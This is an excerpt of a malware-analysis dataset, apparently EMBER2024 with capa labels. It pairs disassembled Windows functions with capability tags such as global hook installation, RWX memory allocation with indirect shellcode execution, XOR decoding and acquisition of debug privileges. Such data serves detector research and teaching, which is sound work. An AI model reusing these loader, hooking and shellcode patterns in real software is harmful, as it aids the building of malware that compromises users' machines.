joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44abcc
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x44ad77
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x44ad58
mov dl, 1
mov eax, dword [0x412c4c]
call fcn.0040367c
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.00404400
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x44ad47
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004387f0
test al, al
je 0x44ad3a
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x44ad88
lea eax, [ebp - 0x254]
call fcn.00409050
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44ad3a
xor eax, eax
push ebp
push 0x44ad33
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x44adc0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x44ad1c
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404668
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x44ad1c
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404668
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44ad3a
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x44ac3d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00416d94
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44ad7e
lea eax, [ebp - 0x260]
call fcn.00404400
ret

Function at 0x44b6ac
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x450bfc]
cmp byte [eax + 0xa5], 0
jne 0x44b71d
cmp dword [0x450c14], 0
jne 0x44b6de
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44b668
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x450c14], eax
cmp dword [0x450c10], 0
jne 0x44b6f9
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x450c10], eax
cmp dword [0x450c18], 0
jne 0x44b71d
push esp
push 0
push 0
push 0x44b60c
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x450c18], eax
pop edx
ret
Function at 0x44b814
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x44b82b
add esp, 0xfffffff0
call fcn.004039f8
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041c6fc
mov eax, dword [0x44fda4]
cmp word [eax + 2], 0
jne 0x44b853
mov eax, dword [0x44fda4]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044ce48
mov eax, dword [0x44fe28]
cmp word [eax + 2], 0
jne 0x44b86d
mov eax, dword [0x44fe28]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044d040
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x41275c]
call fcn.0040367c
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x41275c]
call fcn.0040367c
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0x80000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41e83c]
call fcn.00424448
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x44b9f4
mov eax, dword [0x44fce4]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00424818
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x44d5c0
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x44fce4]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040bb10
test eax, eax
je 0x44b962
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004089ac
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040bb38
test eax, eax
je 0x44b976
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.00404668
mov eax, dword [0x44fc10]
cmp byte [eax], 0
jne 0x44b9aa
mov eax, ebx
call fcn.0044bb1c
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0044d79c
mov eax, ebx
call fcn.0044e0dc
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44b9ea
call fcn.00403a50
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44bd90
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x450bfc]
cmp dword [eax + 0x30], 0
je 0x44be3a
cmp dword [ebx + 0x94], 0
jne 0x44be34
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44bd20
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44be34
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44bdfa
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44be34
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414dfc
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44be09
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44c918
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44c94d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004044f0
jmp 0x44c95a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00404454
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44d978
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44d9b9
mov eax, esi
call fcn.004340b4
test al, al
je 0x44d9b9
mov eax, dword [ebx + 0x84]
call fcn.00433db0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44d9b9
push 0
mov eax, dword [ebx + 0x84]
call fcn.00433db0
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x4522c0
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
push esi
shr edx, 3
xor esi, esi
cmp edx, esi
jbe 0x452368
push ebx
push edi
mov edi, ecx
mov ebx, edx
cmp dword [0x9dbb04], 0x319
jne 0x452352
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push esi
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x40c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
lea eax, [ebp - 0xc]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov edx, dword [ebp + 8]
mov ecx, edi
call fcn.0045187c
add edi, 8
dec ebx
jne 0x4522dd
pop edi
pop ebx
pop esi
leave
ret 4

Function at 0x45236d
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
push 0x40150c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40151c
push eax
mov dword [0x973e64], eax
call esi
push 0x401528
push dword [0x973e64]
mov dword [0x973e5c], eax
call esi
push dword [0x9dbb04]
xor esi, esi
push esi
mov dword [0x954ac4], eax
call dword [0x973e5c]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x9dbb04]
mov dword [0x954adc], eax
push eax
call dword [0x954ac4]
xor edi, edi
cmp edi, 0x85b4
jge 0x4523ed
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoA]
cmp edi, 0x11c825e
jg 0x452412
inc edi
mov eax, edi
cdq
cmp edx, 0x6d
jl 0x4523d4
jg 0x452412
cmp eax, 0xd69e5f85
jb 0x4523d4
mov eax, dword [0x461734]
mov edx, dword [0x9dbb04]
mov dword [0x9dbb08], eax
xor eax, eax
cmp edx, esi
jbe 0x452449
mov ecx, dword [0x9dbb08]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x954adc]
mov byte [edx + eax], cl
mov edx, dword [0x9dbb04]
inc eax
cmp eax, edx
jb 0x452428
mov ecx, dword [0x954adc]
push 0x461008
call fcn.004522c0
push 0x7b
pop ebx
cmp dword [0x9dbb04], 0x54d
jne 0x452487
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x34]
push eax
push 0x401538
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
dec ebx
jne 0x45245c
mov eax, dword [0x954adc]
mov dword [0x973e6c], eax
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x45249b
Capabilities:
Create thread
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
cmp dword [0x9dbb04], 0x598
push ebx
push esi
push edi
jne 0x45250d
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 4]
push eax
push 0x40154c
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
xor ebx, ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapValidate]
lea eax, [ebp - 8]
push eax
push ebx
push 0x401554
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call fcn.00452b05
push ebx
push ebx
call fcn.004528fa
add esp, 0xc
call fcn.004528b0
mov esi, dword [0x4626e4]
mov edi, 0x464c80
add esi, 0xb2d3b
mov eax, edi
mov dword [0x9dbb04], esi
lea ecx, [eax + 1]
xor ebx, ebx
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x45252b
sub eax, ecx
cmp eax, 0x1515
jne 0x4525b3
cmp esi, 0x18
jne 0x452566
push ebx
push ebx
push ebx
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, dword [0x9dbb04]
cmp esi, 0x9e6
jne 0x45258a
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x40159c
push edi
call fcn.004527eb
push ebx
push ebx
call fcn.004527ab
push ebx
call fcn.00452b05
add esp, 0xc
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00451818
fstp st(0)
call fcn.0045236d
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x45894f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x463c88]
jne 0x458959
repz ret
jmp fcn.0045d6e6
Function at 0x45a9cc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00455225
and dword [ebp - 4], 0
cmp dword [0x9dc180], 0
mov ebx, eax
jne 0x45aa7d
push 0x402020
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x45ab2e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402014
push edi
call esi
test eax, eax
je 0x45ab2e
push eax
call fcn.004551b3
mov dword [esp], 0x402004
push edi
mov dword [0x9dc180], eax
call esi
push eax
call fcn.004551b3
mov dword [esp], 0x401ff0
push edi
mov dword [0x9dc184], eax
call esi
push eax
call fcn.004551b3
mov dword [esp], 0x401fd4
push edi
mov dword [0x9dc188], eax
call esi
push eax
call fcn.004551b3
pop ecx
mov dword [0x9dc190], eax
test eax, eax
je 0x45aa7d
push 0x401fbc
push edi
call esi
push eax
call fcn.004551b3
pop ecx
mov dword [0x9dc18c], eax
mov eax, dword [0x9dc18c]
cmp eax, ebx
je 0x45aad5
cmp dword [0x9dc190], ebx
je 0x45aad5
push eax
call fcn.0045522e
push dword [0x9dc190]
mov esi, eax
call fcn.0045522e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x45aad5
test edi, edi
je 0x45aad5
call esi
test eax, eax
je 0x45aacc
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x45aacc
test byte [ebp - 0xc], 1
jne 0x45aad5
or dword [ebp + 0x10], 0x200000
jmp 0x45ab0e
mov eax, dword [0x9dc184]
cmp eax, ebx
je 0x45ab0e
push eax
call fcn.0045522e
pop ecx
test eax, eax
je 0x45ab0e
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x45ab0e
mov eax, dword [0x9dc188]
cmp eax, ebx
je 0x45ab0e
push eax
call fcn.0045522e
pop ecx
test eax, eax
je 0x45ab0e
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x9dc180]
call fcn.0045522e
pop ecx
test eax, eax
je 0x45ab2e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x45ab30
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4ca239
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x4c9fca
add esi, esi
sub ecx, 0x441a1bb2
or esi, ecx
call fcn.004ca271
sub esi, 0x549d8f73
add ecx, 0x2d988fcc
xor dword [ebx], edi
sub ecx, ecx
inc ebx
sub esi, ecx
cmp ebx, eax
jne fcn.004ca239
sub ecx, ecx
sub esi, 0xee43a464
ret
Function at 0x4021f0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x148
mov eax, dword [0x40e3e0]
xor eax, esp
mov dword [esp + 0x144], eax
push ebp
mov ebp, dword [esp + 0x154]
push esi
push edi
push 0x104
lea eax, [esp + 0x50]
push 0
push eax
call fcn.00404c50
mov eax, dword [esp + 0x164]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0xc
sub eax, 1
je 0x4022b0
sub eax, 1
je 0x40229e
sub eax, 1
jne 0x402300
lea ecx, [esp + 0x4c]
push ecx
push eax
push eax
push 0x23
push eax
call fcn.00403140
add esp, 0x14
lea edx, [esp + 0x4c]
push edx
call edi
cmp byte [esp + eax + 0x4b], 0x5c
je 0x40226c
mov byte [esp + eax + 0x4c], 0x5c
mov byte [esp + eax + 0x4d], 0
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x402300
mov byte [ebp], 0
pop edi
pop esi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x144]
xor ecx, esp
call fcn.00404c23
add esp, 0x148
ret
lea ecx, [esp + 0x4c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x402254
push 0x104
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [esp + 0x4c]
push edx
call edi
cmp byte [esp + eax + 0x4b], 0x5c
je 0x4022d4
mov byte [esp + eax + 0x4c], 0x5c
inc eax
lea esi, [esp + eax + 0x4c]
push str.Temp
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402280
push 0x40b28c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.231030104701975305118276
call edi
dec eax
cmp eax, 8
jl 0x402284
mov al, byte [eax + str.231030104701975305118276]
cmp al, 0x30
jl 0x402284
cmp al, 0x39
jg 0x402284
movsx esi, al
sub esi, 0x30
and esi, reloc.WS2_32.dll_closesocket
jns 0x40233a
dec esi
or esi, 0xfffffffc
inc esi
push str.231030104701975305118276
add esi, 4
call edi
sub eax, esi
dec eax
xor ecx, ecx
lea eax, [eax + str.231030104701975305118276]
nop
mov dl, byte [eax]
test dl, dl
je 0x4023b5
test esi, esi
jle 0x4023b5
add dl, dl
inc dl
inc eax
mov byte [esp + ecx + 0xc], dl
mov dl, byte [eax]
dec esi
test dl, dl
je 0x4023aa
test esi, esi
jle 0x4023aa
add dl, dl
inc dl
inc eax
mov byte [esp + ecx + 0xd], dl
mov dl, byte [eax]
dec esi
test dl, dl
je 0x4023ad
test esi, esi
jle 0x4023ad
add dl, dl
inc dl
inc eax
mov byte [esp + ecx + 0xe], dl
mov dl, byte [eax]
dec esi
test dl, dl
je 0x4023b2
test esi, esi
jle 0x4023b2
add dl, dl
inc dl
mov byte [esp + ecx + 0xf], dl
add ecx, 4
dec esi
inc eax
cmp ecx, 0x40
jb 0x402350
jmp 0x4023b5
inc ecx
jmp 0x4023b5
add ecx, 2
jmp 0x4023b5
add ecx, 3
mov byte [esp + ecx + 0xc], 0x2e
push 0x40b288
lea ecx, [esp + ecx + 0x11]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x4c]
push edx
call edi
mov ecx, 0x104
sub ecx, eax
push ecx
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x54]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [esp + eax + 0x54]
push ecx
call esi
push 0x103
lea edx, [esp + 0x50]
push edx
push ebp
call esi
mov ecx, dword [esp + 0x150]
pop edi
pop esi
pop ebp
xor ecx, esp
mov eax, 1
call fcn.00404c23
add esp, 0x148
ret
Function at 0x40129b
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push ebx
call section..text
pop ecx
test eax, eax
js 0x401477
push esi
push edi
mov edi, dword [ebx + 0xf0]
shl edi, 2
test edi, edi
jle 0x40130a
lea edx, [ebx + 8]
lea esi, [ebx + 8]
xor ebx, ebx
lea edx, [edx + edi*4]
mov ecx, dword [esi - 8]
add ebx, 4
mov eax, dword [edx - 8]
sub edi, 4
mov dword [esi - 8], eax
mov eax, dword [edx - 4]
mov dword [edx - 8], ecx
mov ecx, dword [esi - 4]
mov dword [esi - 4], eax
mov eax, dword [edx]
mov dword [edx - 4], ecx
mov ecx, dword [esi]
mov dword [esi], eax
lea esi, [esi + 0x10]
mov eax, dword [edx + 4]
mov dword [edx], ecx
lea edx, [edx - 0x10]
mov ecx, dword [esi - 0xc]
mov dword [esi - 0xc], eax
mov dword [edx + 0x14], ecx
cmp ebx, edi
jl 0x4012cb
mov ebx, dword [ebp + 8]
xor edi, edi
inc edi
cmp dword [ebx + 0xf0], edi
jle 0x401473
lea esi, [ebx + 2]
lea esi, [esi + 0x10]
mov edx, dword [esi - 2]
mov eax, edx
shr eax, 0x18
movzx ecx, byte [eax*4 + str.ccccwwww]
movzx eax, byte [esi - 1]
mov ecx, dword [ecx*4 + 0x655e70]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x655670]
movzx eax, byte [esi]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x655a70]
movzx eax, dl
mov edx, dword [esi + 2]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x655270]
mov eax, edx
shr eax, 0x18
mov dword [esi - 2], ecx
movzx ecx, byte [eax*4 + str.ccccwwww]
movzx eax, byte [esi + 3]
mov ecx, dword [ecx*4 + 0x655e70]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x655670]
movzx eax, byte [esi + 4]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x655a70]
movzx eax, dl
mov edx, dword [esi + 6]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x655270]
mov eax, edx
shr eax, 0x18
mov dword [esi + 2], ecx
movzx ecx, byte [eax*4 + str.ccccwwww]
movzx eax, byte [esi + 7]
mov ecx, dword [ecx*4 + 0x655e70]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x655670]
movzx eax, byte [esi + 8]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x655a70]
movzx eax, dl
mov edx, dword [esi + 0xa]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x655270]
mov eax, edx
shr eax, 0x18
mov dword [esi + 6], ecx
movzx ecx, byte [eax*4 + str.ccccwwww]
movzx eax, byte [esi + 0xb]
mov ecx, dword [ecx*4 + 0x655e70]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x655670]
movzx eax, byte [esi + 0xc]
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x655a70]
movzx eax, dl
movzx eax, byte [eax*4 + str.ccccwwww]
xor ecx, dword [eax*4 + 0x655270]
inc edi
mov dword [esi + 0xa], ecx
cmp edi, dword [ebx + 0xf0]
jl 0x40131c
pop edi
xor eax, eax
pop esi
pop ebx
pop ebp
ret
Function at 0x4088a6
Capabilities:
Acquire debug privileges

Disassembly:
push 0x50
mov eax, 0x60c475
call fcn.005e6bd2
mov ebx, dword [ebp + 8]
xor edi, edi
call fcn.0040791a
mov esi, eax
test esi, esi
je 0x40890a
and dword [ebp - 4], edi
lea ecx, [ebp - 0x58]
call fcn.004988ce
mov edx, eax
mov ecx, esi
call fcn.00409516
test eax, eax
je 0x4088e5
push ebx
push str.SeDebugPrivilege
push edi
call eax
mov edi, eax
mov ecx, esi
call fcn.0040961d
push 0x16
pop edx
lea ecx, [ebp - 0x58]
mov byte [ecx], 0
inc ecx
sub edx, 1
jne 0x4088f2
push 0x2c
pop ecx
lea eax, [ebp - 0x42]
mov byte [eax], 0
inc eax
sub ecx, 1
jne 0x408901
mov eax, edi
call fcn.005e6b7c
ret